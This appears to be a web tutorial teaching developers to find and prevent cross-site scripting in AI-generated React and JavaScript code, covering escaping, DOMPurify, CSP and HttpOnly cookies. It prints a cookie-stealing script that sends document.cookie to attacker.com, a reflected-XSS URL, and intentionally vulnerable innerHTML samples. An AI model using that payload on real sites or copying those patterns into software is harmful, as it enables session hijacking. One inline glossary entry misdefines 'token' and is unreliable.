You asked AI to build a comment section. It generated a clean React component, hooked it up to your APIWhat is api?A set of rules that lets one program talk to another, usually over the internet, by sending requests and getting responses., and everything rendered beautifully, including the dangerouslySetInnerHTML it quietly dropped in so that markdown formatting would work. Two days later, someone posted a comment containing a <script> tag. Every user who loaded that page silently sent their sessionWhat is session?A server-side record that tracks a logged-in user. The browser holds only a session ID in a cookie, and the server looks up the full data on each request. cookies to an attacker's server. The component looked correct. The AI didn't flag the vulnerability. This is the most common security failure in AI-generated frontend code.
What XSSWhat is xss?Cross-Site Scripting - an attack where malicious JavaScript is injected into a web page and runs in other users' browsers, stealing data or hijacking sessions. actually does
The core of every XSS attack is simple: the attacker submits something that looks like user content but contains JavaScript, and your page runs it. Here's a minimal example. A comment form saves this input to your database:
<script>
fetch('https://attacker.com/steal?c=' + document.cookie);
</script>When your page renders comments by doing:
commentDiv.innerHTML = comment.text;Every user who views that page silently sends their sessionWhat is session?A server-side record that tracks a logged-in user. The browser holds only a session ID in a cookie, and the server looks up the full data on each request. cookies to the attacker's server. The attacker can then replay those cookies to impersonate any victim, no password needed.
Three variants of XSSWhat is xss?Cross-Site Scripting - an attack where malicious JavaScript is injected into a web page and runs in other users' browsers, stealing data or hijacking sessions.
| Variant | Where the payload lives | How it triggers | Severity |
|---|---|---|---|
| Stored XSS | In your database | Automatically, on page load | Critical, affects all visitors |
| Reflected XSS | In a URL parameter | Victim clicks a crafted link | High, requires social engineering |
| DOM-based XSS | Client-side sources (URL hash, localStorage) | Client JS reads and renders it | High, invisible to server-side filters |
Stored XSS
The payloadWhat is payload?The data sent in the body of an HTTP request, such as the JSON object you include when creating a resource through a POST request. is saved in your database and served to every user who loads the affected page. This is the most dangerous variant because it runs automatically, requires no interaction from the victim beyond visiting a normal page, and affects everyone, not just the person who received a malicious link.
Attackers target comment sections, profile fields, product reviews, chat messages, anything that stores and redisplays text from one user to others.
Reflected XSS
The payload lives in a URL parameter. Your server or client-side code reads it and puts it directly into the page without sanitizing. The attacker crafts a malicious URL and tricks victims into clicking it.
https://example.com/search?q=<script>alert('XSS')</script>If the search page renders "Results for: {q}" without escaping, the script executes.
DOMWhat is dom?The Document Object Model - the browser's live representation of your HTML page as a tree of objects that JavaScript can read and modify.-based XSS
No server involvement, client-side JavaScript reads a tainted source (URL hash, localStorage, postMessage) and writes it into the DOM unsafely.
// Vulnerable: reads URL parameter and writes to DOM as HTML
const name = new URLSearchParams(window.location.search).get('name');
document.getElementById('greeting').innerHTML = 'Hello ' + name;The server never sees the malicious payload, which means server-side filtering does nothing to stop it.
How AI introduces XSSWhat is xss?Cross-Site Scripting - an attack where malicious JavaScript is injected into a web page and runs in other users' browsers, stealing data or hijacking sessions.
When AI generates frontend code that displays dynamic content, it optimizes for "it works" over "it's safe." Here are the patterns to watch for:
// AI generates this when you ask for markdown rendering
function BlogPost({ content }) {
return (
<div dangerouslySetInnerHTML={{ __html: content }} />
);
}
// AI generates this for "rich text" display
function Comment({ html }) {
return <div dangerouslySetInnerHTML={{ __html: html }} />;
}dangerouslySetInnerHTML almost every time, without adding DOMPurify or any sanitization. The name literally contains "dangerously," but AI treats it as the standard approach. Always check AI-generated React components for this pattern.AI also generates XSS vulnerabilities in less obvious places. When AI builds URL-driven UIs, search pages, filter components, user profiles, it often reads query parameters and injects them into the DOMWhat is dom?The Document Object Model - the browser's live representation of your HTML page as a tree of objects that JavaScript can read and modify. without escaping:
// When AI generates a search results page
function SearchResults() {
const query = new URLSearchParams(window.location.search).get('q');
return (
<div>
<h2 dangerouslySetInnerHTML={{
__html: `Results for: ${query}`
}} />
</div>
);
}dangerouslySetInnerHTML when plain JSX would work perfectly. If the content doesn't need HTML formatting, use {variable} directly, React escapes it automatically. Only reach for dangerouslySetInnerHTML when you genuinely need to render markup, and always sanitize first.Prevention: output escaping
The root cause of XSSWhat is xss?Cross-Site Scripting - an attack where malicious JavaScript is injected into a web page and runs in other users' browsers, stealing data or hijacking sessions. is treating user-supplied text as HTML markup. The fix is to ensure user content is always treated as text.
Modern frameworks escape by default
React, Vue, and Angular all escape dynamic content automatically when you use their standard templating:
// React: {} escapes HTML entities automatically
function Comment({ text }) {
return <div>{text}</div>;
}
// Input: <script>alert('xss')</script>
// Output: <script>alert('xss')</script>
// Displayed as text, never executedThe escape hatch, dangerouslySetInnerHTML, tells React you know what you're doing. Use it only when you've already sanitized the content:
import DOMPurify from 'dompurify';
function SafeRichContent({ html }) {
const clean = DOMPurify.sanitize(html, {
ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'p', 'br', 'a'],
ALLOWED_ATTR: ['href']
});
return <div dangerouslySetInnerHTML={{ __html: clean }} />;
}Vanilla JavaScript: textContent over innerHTML
When working outside a framework, choose the right DOMWhat is dom?The Document Object Model - the browser's live representation of your HTML page as a tree of objects that JavaScript can read and modify. property:
// Vulnerable: parses input as HTML, executes scripts
element.innerHTML = userInput;
// Safe: treats everything as plain text
element.textContent = userInput;textContent is almost always what you want when inserting dynamic values. The only time you need innerHTML is when you intentionally want to render markup, and at that point, you must sanitize first.
Prevention: Content Security PolicyWhat is content security policy?An HTTP header that tells the browser which sources of scripts, styles, and other resources are allowed to load on your page, blocking unauthorized code.
A Content Security Policy (CSP) is an HTTPWhat is http?The protocol browsers and servers use to exchange web pages, API data, and other resources, defining how requests and responses are formatted. header that tells the browser which sources it's allowed to load scripts from. Even if an attacker manages to inject a <script> tag, CSP can prevent it from executing:
Content-Security-Policy: default-src 'self'; script-src 'self'This blocks inline scripts, eval(), and scripts from any domain other than your own. CSP is not a replacement for output escaping, it's a safety net that limits the blast radius when something gets through.
Prevention: HttpOnlyWhat is httponly?A cookie flag that prevents JavaScript from reading the cookie. It stops XSS attacks from stealing session tokens or authentication cookies. cookies
Even when XSSWhat is xss?Cross-Site Scripting - an attack where malicious JavaScript is injected into a web page and runs in other users' browsers, stealing data or hijacking sessions. does succeed, you can limit the damage. If sessionWhat is session?A server-side record that tracks a logged-in user. The browser holds only a session ID in a cookie, and the server looks up the full data on each request. tokens are stored in HttpOnly cookies, JavaScript cannot read them at all:
res.cookie('sessionToken', token, {
httpOnly: true, // document.cookie cannot access this
secure: true, // only sent over HTTPS
sameSite: 'strict'
});An attacker who injects JavaScript into your page won't be able to steal the session cookieWhat is cookie?A small piece of data the browser stores and automatically sends with every request to the matching server, often used for sessions.. They can still do other damage, modify the DOMWhat is dom?The Document Object Model - the browser's live representation of your HTML page as a tree of objects that JavaScript can read and modify., make requests in the victim's name, but they can't extract the tokenWhat is token?The smallest unit of text an LLM processes - roughly three-quarters of a word. API pricing is based on how many tokens you use. and use it from a different machine.
What to look for when reviewing code
A quick checklist for spotting XSSWhat is xss?Cross-Site Scripting - an attack where malicious JavaScript is injected into a web page and runs in other users' browsers, stealing data or hijacking sessions. risks in a codebase:
| Pattern | Risk | Safe alternative |
|---|---|---|
element.innerHTML = variable | High | element.textContent = variable |
dangerouslySetInnerHTML={{ __html: variable }} | High unless sanitized | Sanitize with DOMPurify first |
document.write(variable) | High | Don't use document.write |
eval(variable) | High | Avoid eval entirely |
element.insertAdjacentHTML(...) | High | textContent or sanitize |
{variable} in React/Vue/Angular | Safe | No change needed |
DOMPurify.sanitize(variable) then innerHTML | Safe | No change needed |
innerHTML are just as dangerous as concatenation: ` element.innerHTML = Hello ${name} is vulnerable. The issue is innerHTML`, not how you build the string.// XSS Prevention, safe patterns
// 1. React component, SAFE by default
function UserComment({ comment }) {
return <div className="comment">{comment.text}</div>;
}
// 2. Dangerous HTML, use sanitizer
import DOMPurify from 'dompurify';
function RichComment({ comment }) {
const cleanHtml = DOMPurify.sanitize(comment.html, {
ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'p', 'br'],
ALLOWED_ATTR: []
});
return (
<div
className="rich-comment"
dangerouslySetInnerHTML={{ __html: cleanHtml }}
/>
);
}
// 3. Vanilla JS, safe insertion
// VULNERABLE
document.getElementById('output').innerHTML = userInput;
// SAFE
document.getElementById('output').textContent = userInput;
// 4. Server-side: Express with helmet CSP
const helmet = require('helmet');
app.use(helmet({
contentSecurityPolicy: {
directives: {
defaultSrc: ["'self'"],
scriptSrc: ["'self'"]
}
}
}));
// 5. HttpOnly cookies to limit XSS damage
res.cookie('sessionToken', token, {
httpOnly: true,
secure: true,
sameSite: 'strict',
maxAge: 3600000
});